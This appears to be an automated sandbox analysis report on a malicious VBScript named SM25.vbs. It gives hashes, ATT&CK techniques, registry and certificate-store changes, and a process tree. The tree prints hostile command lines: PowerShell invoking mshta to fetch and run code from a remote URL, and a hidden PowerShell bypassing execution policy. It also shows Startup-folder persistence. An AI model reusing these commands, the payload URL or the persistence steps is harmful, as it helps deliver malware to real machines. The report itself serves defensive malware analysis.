7a74348cfdcf7d37e88f264c0b9a50b5b9cbec188ca02da0bcca6f054a1b183e

General

Target

SM25.vbs
Size

996B
MD5

0bafdab6b8c7bfc2867f8a8ff1437c40
SHA1

eb624db807094865eb14504f323301a0fd2cd95e
SHA256

7a74348cfdcf7d37e88f264c0b9a50b5b9cbec188ca02da0bcca6f054a1b183e
SHA512

9f77c88356140e7433ffcbb2ffd40f013dfa3fb962fdf17afcccc26a274b11eb45c778136d9f1c3054a5f437eb238ab081d19f58482efea550bab410838c5e65

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow pid process

7 1780 mshta.exe
9 1780 mshta.exe
11 1780 mshta.exe
Drops startup file 1 IoCs

Processes:

WScript.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SM25.vbs WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

flow	pid	process
7	1780	mshta.exe
9	1780	mshta.exe
11	1780	mshta.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SM25.vbs	WScript.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1992 powershell.exe
1992 powershell.exe
816 powershell.exe
816 powershell.exe
1404 powershell.exe
1404 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1992 powershell.exe
Token: SeDebugPrivilege 816 powershell.exe
Token: SeDebugPrivilege 1404 powershell.exe

pid	process
1992	powershell.exe
1992	powershell.exe
816	powershell.exe
816	powershell.exe
1404	powershell.exe
1404	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exemshta.exe

description	pid	process	target process
PID 1812 wrote to memory of 1992	1812	WScript.exe	powershell.exe
PID 1812 wrote to memory of 1992	1812	WScript.exe	powershell.exe
PID 1812 wrote to memory of 1992	1812	WScript.exe	powershell.exe
PID 1992 wrote to memory of 1780	1992	powershell.exe	mshta.exe
PID 1992 wrote to memory of 1780	1992	powershell.exe	mshta.exe
PID 1992 wrote to memory of 1780	1992	powershell.exe	mshta.exe
PID 1812 wrote to memory of 816	1812	WScript.exe	powershell.exe
PID 1812 wrote to memory of 816	1812	WScript.exe	powershell.exe
PID 1812 wrote to memory of 816	1812	WScript.exe	powershell.exe
PID 1780 wrote to memory of 1404	1780	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1404	1780	mshta.exe	powershell.exe
PID 1780 wrote to memory of 1404	1780	mshta.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SM25.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\mshta https://pazpus.com/bootstrap/cache/zender.txt
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://pazpus.com/bootstrap/cache/zender.txt
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -command C:\Users\Public\Datax.ps1;
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
adbfb2b6eab3e39e8d8d8340bd1d2bc8

SHA1
999ad8179a1b6b8a0d8ac63bcf1d67e81c3cce9f

SHA256
e8baab4a374f47829675e71b3228cbf9e8231e7cd1dcf1e8c4ea375761afad74

SHA512
f04066056ab39763b5a81cc64e7e3c496caabefe499a478898a68b85b1a300aa494702ed42a264e53a6abb4652adacfbf64d937c23cfa0354356fab39a157990

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
adbfb2b6eab3e39e8d8d8340bd1d2bc8

SHA1
999ad8179a1b6b8a0d8ac63bcf1d67e81c3cce9f

SHA256
e8baab4a374f47829675e71b3228cbf9e8231e7cd1dcf1e8c4ea375761afad74

SHA512
f04066056ab39763b5a81cc64e7e3c496caabefe499a478898a68b85b1a300aa494702ed42a264e53a6abb4652adacfbf64d937c23cfa0354356fab39a157990

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/108-23-0x000007FEF79D0000-0x000007FEF7C4A000-memory.dmp

Filesize
2.5MB

Download
memory/816-41-0x0000000002820000-0x0000000002821000-memory.dmp

Filesize
4KB

Download
memory/816-40-0x0000000002810000-0x0000000002811000-memory.dmp

Filesize
4KB

Download
memory/816-42-0x000000001AC8A000-0x000000001ACA9000-memory.dmp

Filesize
124KB

Download
memory/816-28-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/816-25-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/816-24-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/816-13-0x0000000000000000-mapping.dmp

Download
memory/816-21-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/816-16-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/816-17-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/816-20-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/816-19-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/816-18-0x000000001AD00000-0x000000001AD01000-memory.dmp

Filesize
4KB

Download
memory/1404-51-0x000000001ADB4000-0x000000001ADB6000-memory.dmp

Filesize
8KB

Download
memory/1404-49-0x000000001ADB0000-0x000000001ADB2000-memory.dmp

Filesize
8KB

Download
memory/1404-47-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/1404-43-0x0000000000000000-mapping.dmp

Download
memory/1780-12-0x0000000000000000-mapping.dmp

Download
memory/1812-2-0x000007FEFBA41000-0x000007FEFBA43000-memory.dmp

Filesize
8KB

Download
memory/1812-22-0x0000000002480000-0x0000000002484000-memory.dmp

Filesize
16KB

Download
memory/1992-6-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/1992-8-0x000000001AD80000-0x000000001AD82000-memory.dmp

Filesize
8KB

Download
memory/1992-9-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/1992-5-0x000007FEF5490000-0x000007FEF5E7C000-memory.dmp

Filesize
9.9MB

Download
memory/1992-10-0x000000001AD84000-0x000000001AD86000-memory.dmp

Filesize
8KB

Download
memory/1992-3-0x0000000000000000-mapping.dmp

Download
memory/1992-11-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/1992-7-0x000000001AE00000-0x000000001AE01000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing